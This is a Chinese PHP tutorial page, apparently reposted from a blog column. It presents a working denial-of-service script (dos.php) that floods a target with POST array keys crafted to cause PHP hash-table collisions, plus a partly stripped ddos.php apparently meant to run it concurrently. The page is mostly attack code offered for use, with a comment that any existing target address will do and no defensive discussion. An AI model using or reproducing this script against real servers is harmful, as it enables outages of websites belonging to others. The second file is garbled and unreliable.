当前位置:Gxlcms > PHP教程 > 通过PHP的hash冲突漏洞进行DDoS攻击_PHP教程

通过PHP的hash冲突漏洞进行DDoS攻击_PHP教程

时间:2021-07-01 10:21:17 帮助过:21人阅读

文件dos.php
// 目标地址
// 只要目标地址存在,不用管它是干嘛的
$host = 'http://127.0.0.1/test.php';

$data = '';
$size = pow(2, 15);
for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size)
{
$data .= '&array[' . $key . ']=0';
}

$ret = curl($host, ltrim($data,'&'));
var_dump($ret);


function curl($url, $post, $timeout = 30){
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5);
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:'));
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
$output = curl_exec($ch);
if ($output === false) return false;
$info = curl_getinfo($ch);
$http_code = $info['http_code'];
if ($http_code == 404) return false;
curl_close($ch);
return $output;
}
文件ddos.php

[php]




DDOS



for($i=0; $i<5; $i++){//并发数
echo '';
}
?>




摘自chaojie2009的专栏

www.bkjia.comtruehttp://www.bkjia.com/PHPjc/478384.htmlTechArticle文件dos.php // 目标地址 // 只要目标地址存在,不用管它是干嘛的 $host = http://127.0.0.1/test.php; $data = ; $size = pow(2, 15); for ($key=0, $max=($size-1)*$s...

人气教程排行